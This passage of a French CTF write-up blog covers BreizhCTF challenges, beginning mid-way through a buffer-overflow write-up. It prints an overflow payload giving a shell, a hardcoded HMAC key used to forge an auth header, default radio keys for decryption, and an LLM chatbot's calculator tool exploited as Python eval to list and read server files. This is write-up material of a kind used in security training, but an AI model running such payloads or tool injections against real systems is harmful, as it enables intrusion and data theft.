  • On écrit \x10\x2a = win+1 (0x2a10) : sauter le push rbp corrige l’alignement 16 octets exigé par system() (sinon GP fault movaps).
  • Le NUL ajouté par strcpy écrase l’octet 2 de la base à 0x00 → succès uniquement quand l’octet 2 de la base ASLR vaut déjà 0x00brute force ~1/256, le serveur respawnant en boucle (run.sh while true).

Payload : GET / + 'A'*152 + \x10\x2a + HTTP/1.1.... Sur l’instance : shell uid=666(ctf) obtenu. Le binaire setuid s’appelle getflag sur le remote.

Flag : BZHCTF{Th3_f4st3st_r4c3r_d03snt_c4re_4b0ut_s3cur1ty!!!!!}






Mobile

Trust Issues – 500pts

Catégorie : Mobile (Android)  |  Difficulté : Facile

APK. Kotlin/Compose, package com.breizhctf.trustissues. Client d’une API à https://i-have-trust-issues.ctf.bzh.

Décompilation avec jadx. Fichier clé : ApiClient.java.

Flux prévu par l’app.

  1. POST /login (player/ctf2026) → JWT token.
  2. POST /admin/verify-pin → met PinManager.verified = true (état purement côté client).
  3. GET /admin/flag avec Authorization: Bearer <token> et un header X-Verify-Token.

La « trust issue ». Le serveur fait confiance au X-Verify-Token, qui est calculé côté client = HMAC-SHA256(clé, "<token>:/admin/flag"), avec une clé codée en dur dans l’APK (ApiClient._k0.._k3 concaténés, octets signés convertis en non signés) :

8dde6bbc2c5b232ae6cfb4f11278ab64e321fd366fff37abc877b2d48c6ede1d

La garde PinManager.isVerified() étant locale, on saute complètement l’étape PIN. On forge nous-mêmes le HMAC avec la clé extraite :

  1. login → token
  2. X-Verify-Token = HMAC_SHA256(key, token + ":/admin/flag")
  3. GET /admin/flag avec Bearer + X-Verify-Token → {"flag":"BZHCTF{...}"}

Flag : BZHCTF{4i_&_cl13nt_s1d3_ch3cks_4r3_n0t_s3cur1ty}






Hardware

Glitch Better Have My Money [1/3] – 481pts

Catégorie : Hardware  |  Difficulté : Très Facile (tags : PCB, Datasheet)

Analyse. Photos PCB recto/verso d’une caméra + datasheet d’une flash SPI NOR XMC XM25QH64C. Format de flag imposé par l’énoncé : BZHCTF{PROTO_CAPA_PINGND_PROTECTIONMIN} (exemple donné BZHCTF{UART_32_6_16}).

Réponses depuis la datasheet.

  1. Protocole = SPI. « SERIAL FLASH MEMORY WITH DUAL/QUAD SPI & QPI » (p.5). Le CPU communique via SPI.
  2. Capacité = 8 (MB). Features p.5 : « XM25QH64C: 64M-bit / 8M-byte« .
  3. Pin GND = 4. Connection Diagrams p.9, boîtier SOP/VSOP 208mil 8 broches : 1=/CS, 2=DO, 3=/WP, 4=GND, 5=DI, 6=CLK, 7=/HOLD//RESET, 8=VCC.
  4. Protection min = 4 (KB). §4.3 Write Protect p.12 : « a portion as small as a 4KB sector … can be hardware protected ».

Vérification croisée. Photo sd_side : la « Mémoire flash SPI » est bien la puce XMC en SOP-8 (sérigraphie « XMC 25Q64… »). CPU = Ingenic T23.

Flag : BZHCTF{SPI_8_4_4}






Savoureux Filet – 500pts 🩸 FIRST BLOOD

Catégorie : Hardware / Radio  |  Difficulté : Facile (tags : Radio, Protocole)

Capture. JSON Meshtastic canal « Longfast » avec psk_provided: false. 7 packets {from, to, id, portnum:"TEXT_MESSAGE_APP", payload:base64(chiffré)}.

Les deux pièges qui ont fait perdre des heures aux runs précédents :

  1. Mauvaise clé. Tout le monde (moi compris en main thread) a essayé l’expansion du PSK 0x01 vers d4f1bb3a20290759f0bcffabcf4e6901 (la clé « documentée » du canal LongFast). Faux. La vraie clé est la PSK AQ== en base64, prise telle quelle (un octet 0x01), zero-paddée à 16 octets : 01000000000000000000000000000000.
  2. Pas un protobuf. Le clair n’est pas un Data protobuf (qui commencerait par 0x08) – c’est du texte brut en alphabet OTAN.

Paramètres exacts (vérifiés).

  • Algo : AES-128-CTR
  • Clé : 01 + 00*15 (16 octets)
  • Nonce (16o) : packetId uint64 LE (8o) || from uint32 LE (4o) || 00000000 (4o)

Les 7 messages déchiffrés (NATO → lettres) :

Message NATODécodage
BravoZuluHotelCharlieTangoFoxtrotBZHCTF
MikeechoSierra...IndiaCharlieMESHTASTIC
DeltaEchoFoxtrot...LimaTangoDEFAULT
KiloEchoYankeeKEY
IndiaSierraIS
NovemberOscarTangoNOT
SierraEchoCharlieUniformRomeoEchoSECURE

Flag : BZHCTF{MESHTASTIC_DEFAULT_KEY_IS_NOT_SECURE}

C’est celui qui a déclenché le sample CS « FIRST BLOOD » en direct pendant la démo à Saax – voir l’article.






Zzz Zzz Zzz – 500pts

Catégorie : Hardware / Radio  |  Difficulté : Moyen (tag : Radio)

Capture. zzz_zzz_zzz.pcapng = trafic IEEE 802.15.4 / ZigBee (encapsulation wpan-tap). 388 trames, NWK chiffré. Réseau domotique : coordinateur 0x0000 + une ampoule 0xde6a.

Déchiffrement. La trame 43 contient une commande APS « Transport Key » chiffrée avec la Trust Center Link Key par défaut. En fournissant à tshark la clé ZigBee par défaut ZigBeeAlliance09 (5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39) via l’UAT zigbee_pc_keys, la clé réseau est extraite et tout le trafic NWK/APS/ZCL devient lisible (118 trames APS, 55 ZCL).

Décodage du message. L’ampoule « parle » via le cluster 0x0008 (Level Control), commandes Move-to-Level. Chaque niveau de luminosité est un code ASCII :

66 90 72 67 84 70 123 83 116 114 97 110 103 101 95 69 110 99
→ BZHCTF{Strange_Enc

La capture s’arrête au milieu du message (tronqué, comme indiqué par l’énoncé). L’indice « la fin du flag finit par Encoding} » complète : Strange_Enc + oding}.

tshark -r zzz_zzz_zzz.pcapng \
  -o 'uat:zigbee_pc_keys:"5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39","Normal","ZigBeeAlliance09"' \
  -Y 'zbee_zcl_general.level_control.level' \
  -T fields -e zbee_zcl_general.level_control.level

Flag : BZHCTF{Strange_Encoding}






Misc

Assistant Inverse – 500pts 🩸 FIRST BLOOD

Catégorie : Misc  |  Difficulté : Facile (tag : LLM)

Cible. Chatbot web « Breizh assistant » avec un set d’outils. Quand on demande la liste : base64_encode/decode, hex_encode/decode, time(location), breton_music(id), breton_recipes(id), regional_weather(location), flag(location), calculator(expression).

Le faux chemin. Appeler flag(location=Rennes) renvoie systématiquement le décor « {flag: BZHCTF{... hmmm, would be too simple would it?}}« . Toutes les locations valides renvoient ce même leurre, les invalides renvoient « ERROR :(« . Le tool flag est un cul-de-sac volontaire.

Le vrai chemin. Le tool calculator(expression) est un eval() Python en clair. Test rapide :

calculator("2*3") → {"result": 6}
calculator("__import__('os').listdir('.')")
  → {"result": [".bash_logout", ".bashrc", "logs", "__pycache__",
               "server.py", "flag.txt", "index.html", "requirements.txt"]}

Flag dans flag.txt côté serveur :

calculator("open('flag.txt').read()") → {"result": "BZHCTF{...}"}

Le clin d’œil. Le tool flag est un leurre, c’est le calculator qui est l’eval RCE. Et le flag te dit littéralement « j’a-d-o-r-e le tooling IA ». Le challenge se moque du joueur pendant qu’il le résout.

Flag : BZHCTF{I_F#%$ING_L<3VE_A1_T00LING!!!}






KVMillésime – Vendanges tardives [1/3] – 500pts

Catégorie : Misc  |  Difficulté : Moyen (tag : Virtualisation)

Setup. Device PCI QEMU custom pci-rng-ascending (qemu-pci-rng-ascending.c). État interne :

  • lfsr_state[2] : seed xorshift128+
  • n_counter : compteur cumulatif (l’oracle « ascendant »)
  • last_guess_ok

Comportement MMIO.

  • GET (read 0x00) : r=(xorshift128plus()%127)+1, n_counter += r, renvoie n_counter.
  • GUESS (write 0x08) : avance le RNG d’un cran (n_counter += r) puis teste last_guess_ok = (val == n_counter).
  • manifest_destiny (option 4) ne gagne que si on prédit le n_counter après l’avance déclenchée par le GUESS.

Vulnérabilité (pas dans le LFSR, le code le dit explicitement). Elle est dans le VMStateDescription (snapshot) : vmstate_pci_rng_ascending sérialise parent_obj, lfsr_state[2] et last_guess_ok, mais PAS n_counter. Donc loadvm rembobine le LFSR mais laisse n_counter à sa valeur live.

Exploit (5 étapes via le menu server.py : 1=GET, 2=savevm, 3=loadvm, 4=guess).

  1. GETV_cur (n_counter = V_cur)
  2. savevm snap_0 → sauve le LFSR à l’état L
  3. GETV_next ; incrément = r = V_next - V_cur, n_counter = V_next
  4. loadvm snap_0 → LFSR rembobiné à L, mais n_counter reste V_next
  5. GUESS = 2*V_next - V_cur : le GUESS rejoue le même r (LFSR = L), n_counter devient V_next + r = 2*V_next - V_cur → match → USER_AUTHENTIFIED → flag.

Le LFSR n’a jamais besoin d’être cassé. Réussi du premier coup.

Flag : BZHCTF{Namaste_V1nce_Th4nks_F0r_The_Seed_M0ney}






Game Hacking

Welcome to Happy’s adventures [1/5] – 500pts

Catégorie : Game Hacking  |  Difficulté : Très Facile

Le jeu. « Happy’s Adventures » est un Unreal Engine 5 (binaire HA-Linux-Shipping, paks .ucas/.utoc, perso = « Happax »).

Approche minimaliste.

  1. Linux.7z (~3 Go, archive 7z solide). Extraction sélective des petits fichiers seulement (pas besoin des 3,1 Go de HA-Linux.ucas).
  2. Le README précise : « Les flags, sauf le premier, ne sont disponibles que sur le serveur du CTF. » Donc le flag [1/5] est obtenable en standalone/offline.
  3. Fichier clé : Linux/HA/Binaries/Linux/Secrets.ini (260 octets) :
    # Due to something unexpected, "{" & "}" don't print in game.
    [Secrets]
    ServerSecretString_0=Welcome_To_Happax_Adventures!
    ServerSecretString_1=ClientFlag1   # placeholders, vrais flags = serveur
  4. ServerSecretString_0 = secret affiché en standalone. Les _1..._4 sont des placeholders remplacés par les vrais flags côté serveur pour les challenges 2/5 à 5/5.
  5. Commentaire en commentaire du fichier : les accolades { } ne s’affichent pas en jeu, le format BZHCTF{...} entoure le secret. On rétablit les accolades.

Flag : BZHCTF{Welcome_To_Happax_Adventures!}






31 challenges. 10 750 pts. 11/116. 4 first bloods. À l’an prochain.


Publié

dans

par

Étiquettes :

Commentaires

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *